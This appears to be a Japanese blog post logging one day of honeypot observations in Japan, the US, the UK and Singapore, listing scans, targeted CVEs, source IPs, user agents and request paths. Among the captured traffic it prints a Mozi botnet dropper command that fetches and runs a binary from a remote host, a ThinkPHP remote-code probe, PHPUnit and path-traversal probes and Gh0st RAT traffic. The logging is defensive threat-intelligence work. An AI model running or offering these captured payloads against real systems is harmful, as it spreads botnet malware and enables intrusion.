2023/12/15 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2023/12/15分です。

特徴

共通

zgrabによるスキャン行為
/.envへのスキャン行為

Location:JP

CensysInspectによるスキャン行為
/.gitへのスキャン行為
configファイルへのスキャン行為

を確認しました。

Location:US

JBossの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Tomcatへのスキャン行為
Laravelへのスキャン行為
WordPressへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location:UK

Spring Bootの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
CensysInspectによるスキャン行為

を確認しました。

Location:SG

Spring Bootの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
CensysInspectによるスキャン行為
/.gitへのスキャン行為
configファイルへのスキャン行為
Gh0stRATのような動き

を確認しました。

他

アクセス数推移

JP：総アクセス数：72 (前日比：-3)
US：総アクセス数：93 (前日比：-26)
UK：総アクセス数：55 (前日比：-42)
SG：総アクセス数：73 (前日比：-7)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
2	18.170.61.89	United States
7	35.216.214.50	United States
1	45.55.39.83	United States
1	45.56.108.128	United States
2	45.91.169.251	Israel
1	45.138.16.215	Netherlands
1	46.101.74.63	United States
1	46.101.78.65	United States
1	65.49.1.18	United States
1	65.49.1.19	United States
1	65.49.1.22	United States
1	65.49.1.76	United States
2	78.153.140.221	Russia
14	101.32.192.203	Singapore
2	103.121.39.54	Bangladesh
1	104.192.0.61	United States
2	104.248.229.49	United States
11	135.125.246.110	France
3	135.125.246.189	France
1	137.184.255.54	United States
3	138.197.26.97	United States
1	146.190.47.101	United States
1	162.142.125.12	United States
1	162.243.131.27	United States
1	167.94.146.58	United States
1	179.43.183.170	Panama
2	185.254.196.173	Ukraine
1	185.254.196.186	Ukraine
1	194.187.176.68	Germany
2	198.235.24.153	United States
2	205.210.31.238	United States

UserAgent一覧

件数	UserAgent
17	`-`
1	`Go-http-client/1.1`
6	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0 abuse.xmco.fr`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
14	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
1	`Mozilla/5.0 (Windows NT 10.0; rv:110.0) Gecko/20100101 Firefox/110.0`
22	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
3	`Mozilla/5.0 zgrab/0.x`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_18.179.20.5_80\n`
1		`\x16\x03\x01\x01H\x01`
1		`\x16\x03\x01\x01\xfa\x01`
1		`\x16\x03\x01\x02`
7		`\x16\x03\x01`
3		``
23	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/CHANGELOG.txt`	HTTP/1.1
1	GET	`/aaa9`	HTTP/1.1
1	GET	`/aab8`	HTTP/1.1
1	GET	`/administrator/components/`	HTTP/1.1
1	GET	`/config.json`	HTTP/1.1
1	GET	`/druid/index.html`	HTTP/1.1
5	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/info.php`	HTTP/1.1
1	GET	`/server-status`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
1	GET	`/telescope/requests`	HTTP/1.1
1	GET	`/v3/time`	HTTP/1.1
1	GET	`/web/cgi-bin/hi3510/param.cgi?cmd=getuser`	HTTP/1.1
1	GET	`/webui/`	HTTP/1.1
14	HEAD	`/Core/Skin/Login.aspx`	HTTP/1.1
1	POST	`/.env`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
19	18.130.22.171	United States
3	45.95.233.201	Russia
10	51.222.255.113	Canada
4	54.36.115.221	France
1	64.62.197.111	United States
1	64.62.197.126	United States
1	64.62.197.132	United States
1	64.62.197.134	United States
1	68.69.186.30	United States
2	83.97.73.87	Germany
10	90.151.171.106	Russia
10	90.151.171.108	Russia
1	91.92.243.232	Bulgaria
7	95.214.235.169	Ukraine
1	103.90.163.245	India
4	107.150.103.88	United States
1	107.170.226.21	United States
1	139.59.101.104	Singapore
1	146.190.47.101	United States
1	167.71.211.251	United States
2	167.71.217.61	United States
1	172.233.57.47	United States
1	178.72.76.110	Russia
1	178.128.168.159	United States
1	178.128.175.65	United States
1	185.236.231.150	Portugal
1	192.241.226.52	United States
1	194.33.191.71	Belize
1	194.165.16.73	Panama
1	194.187.176.162	Germany
1	198.199.111.50	United States
1	218.104.149.117	China

UserAgent一覧

件数	UserAgent
8	`'Cloud mapping experiment. Contact research@pdrlabs.net'`
22	`-`
1	`Hello, world`
2	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
3	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11`
1	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.78`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
10	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36`
10	`Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0 (+https[:]//best-proxies.ru/faq/#from) Z73802194750Q1`
10	`Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0 (+https[:]//best-proxies.ru/faq/#from)`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36`
15	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
2	`Mozilla/5.0 zgrab/0.x`
3	`Mozilla/5.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_34.68.118.83_80\n`
1		`\x03`
1		`\x16\x03\x01\x01E\x01`
1		`\x16\x03\x01\x01\x07\x01`
1		`\x16\x03\x01\x01\xfb\x01`
13		`\x16\x03\x01`
2		``
1	CONNECT	`api[.]ipify[.]org:443`	HTTP/1.1
3	CONNECT	`check.best-proxies[.]ru:443`	HTTP/1.1
2	CONNECT	`checkip[.]amazonaws[.]com:443`	HTTP/1.1
2	CONNECT	`ip[.]bablosoft[.]com:443`	HTTP/1.1
2	CONNECT	`v4[.]ident[.]me:443`	HTTP/1.1
2	GET	`../../proc/ HTTP`
1	GET	`/+CSCOE+/logon.html`	HTTP/1.1
15	GET	`/.env`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=0htrk26n`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin/index.html`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
3	GET	`/cdn-cgi/trace`	HTTP/1.1
1	GET	`/cgi-bin/login.cgi`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/druid/index.html`	HTTP/1.1
5	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/index.html`	HTTP/1.1
1	GET	`/invoker/readonly`	HTTP/1.1
1	GET	`/jenkins/login`	HTTP/1.1
1	GET	`/login.jsp`	HTTP/1.1
1	GET	`/login`	HTTP/1.1
1	GET	`/logon.htm`	HTTP/1.1
1	GET	`/manage/account/login`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/script`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/users/sign_in`	HTTP/1.1
1	GET	`/webui/`	HTTP/1.1
1	GET	`/wp-login.php`	HTTP/1.1
1	GET	`http[:]//api[.]ipify[.]org?Z73802194750Q1`	HTTP/1.1
3	GET	`http[:]//check[.]best-proxies.ru/ip.php?Z73802194750Q1`	HTTP/1.1
2	GET	`http[:]//checkip[.]amazonaws[.]com?Z73802194750Q1`	HTTP/1.1
2	GET	`http[:]//ip[.]bablosoft[.]com/?Z73802194750Q1`	HTTP/1.1
2	GET	`http[:]//v4[.]ident[.]me?Z73802194750Q1`	HTTP/1.1
1	POST	`/_ignition/execute-solution`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.188.206.213	Russia
1	20.63.213.95	United States
2	35.176.249.142	United States
1	45.33.80.243	United States
1	45.227.254.8	Belize
1	46.101.8.59	United States
1	46.250.253.121	United Kingdom
3	54.37.79.75	France
11	57.129.23.166	France
1	65.49.1.96	United States
1	65.49.1.98	United States
1	65.49.1.105	United States
2	83.97.73.87	Germany
1	91.92.243.232	Bulgaria
6	95.214.235.169	Ukraine
1	139.59.101.104	Singapore
1	149.18.84.38	United States
1	159.223.138.47	United States
1	167.71.142.226	United States
2	167.248.133.52	United States
1	172.104.11.34	United States
2	188.166.71.161	United States
2	188.166.231.194	United States
1	192.155.90.118	United States
1	192.241.199.83	United States
1	192.241.202.14	United States
1	194.187.176.161	Germany
1	198.199.105.85	United States
2	198.235.24.17	United States
2	198.235.24.235	United States
1	216.218.206.67	United States

UserAgent一覧

件数	UserAgent
19	`-`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
2	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.41`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
1	`Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36`
20	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
4	`Mozilla/5.0 zgrab/0.x`
2	`Mozilla/5.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_132.145.66.34_80\n`
1		`SSH-2.0-libssh2_1.10.0`
1		`\x03`
1		`\x16\x03\x01\x01\x07\x01`
1		`\x16\x03\x01\x01\xfc\x01`
9		`\x16\x03\x01`
3		``
1	GET	`../../proc/ HTTP`
23	GET	`/.env`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/aaa9`	HTTP/1.1
1	GET	`/aab8`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
2	GET	`/cdn-cgi/trace`	HTTP/1.1
1	GET	`/druid/index.html`	HTTP/1.1
3	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/webui/`	HTTP/1.1
1	PRI	`*`	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.196.102.66	France
1	5.196.102.75	France
7	35.216.214.50	United States
1	45.56.108.128	United States
1	45.79.54.153	United States
1	45.142.182.77	Germany
1	51.77.167.122	France
2	52.56.108.159	United States
4	54.37.79.75	France
7	57.129.23.166	France
1	64.62.197.213	United States
1	64.62.197.214	United States
1	64.62.197.218	United States
1	65.49.20.68	United States
1	68.69.186.30	United States
5	72.14.181.192	United States
2	83.97.73.87	Germany
1	85.239.33.6	Russia
1	91.92.243.232	Bulgaria
8	95.214.235.169	Ukraine
1	103.13.211.242	Japan
5	138.197.200.49	United States
1	144.202.44.126	United States
1	146.190.47.101	United States
1	149.18.84.67	United States
2	162.142.125.212	United States
1	162.243.146.55	United States
2	167.94.138.51	United States
2	167.248.133.33	United States
1	172.104.31.140	United States
1	192.241.216.45	United States
1	192.241.226.24	United States
1	193.35.18.187	Bulgaria
1	194.187.176.46	Germany
2	205.210.31.142	United States
2	205.210.31.182	United States

UserAgent一覧

件数	UserAgent
21	`-`
1	`Go-http-client/1.1`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
6	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0 abuse.xmco.fr`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36`
6	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
1	`Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/109.0`
20	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0`
3	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
2	`Mozilla/5.0 zgrab/0.x`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`Gh0st\xad`
1		`HELP`
1		`MGLNDD_13.67.44.234_80`
8		`\x16\x03\x01`
1		`\x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc`
1		`\xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff`
2		``
1	CONNECT	`google[.]com:443`	HTTP/1.1
3	GET	`../../proc/ HTTP`
25	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/api/sonicos/auth`	HTTP/1.1
1	GET	`/api/sonicos/tfa`	HTTP/1.1
1	GET	`/auth.html`	HTTP/1.1
1	GET	`/auth1.html`	HTTP/1.1
1	GET	`/config.json`	HTTP/1.1
1	GET	`/druid/index.html`	HTTP/1.1
7	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/info.php`	HTTP/1.1
1	GET	`/server-status`	HTTP/1.1
1	GET	`/sslvpnLogin.html`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
1	GET	`/telescope/requests`	HTTP/1.1
1	GET	`/webui/`	HTTP/1.1
1	HEAD	`/`	HTTP/1.1
1	POST	`/wsman`	HTTP/1.1
3	PRI	`*`	HTTP/2.0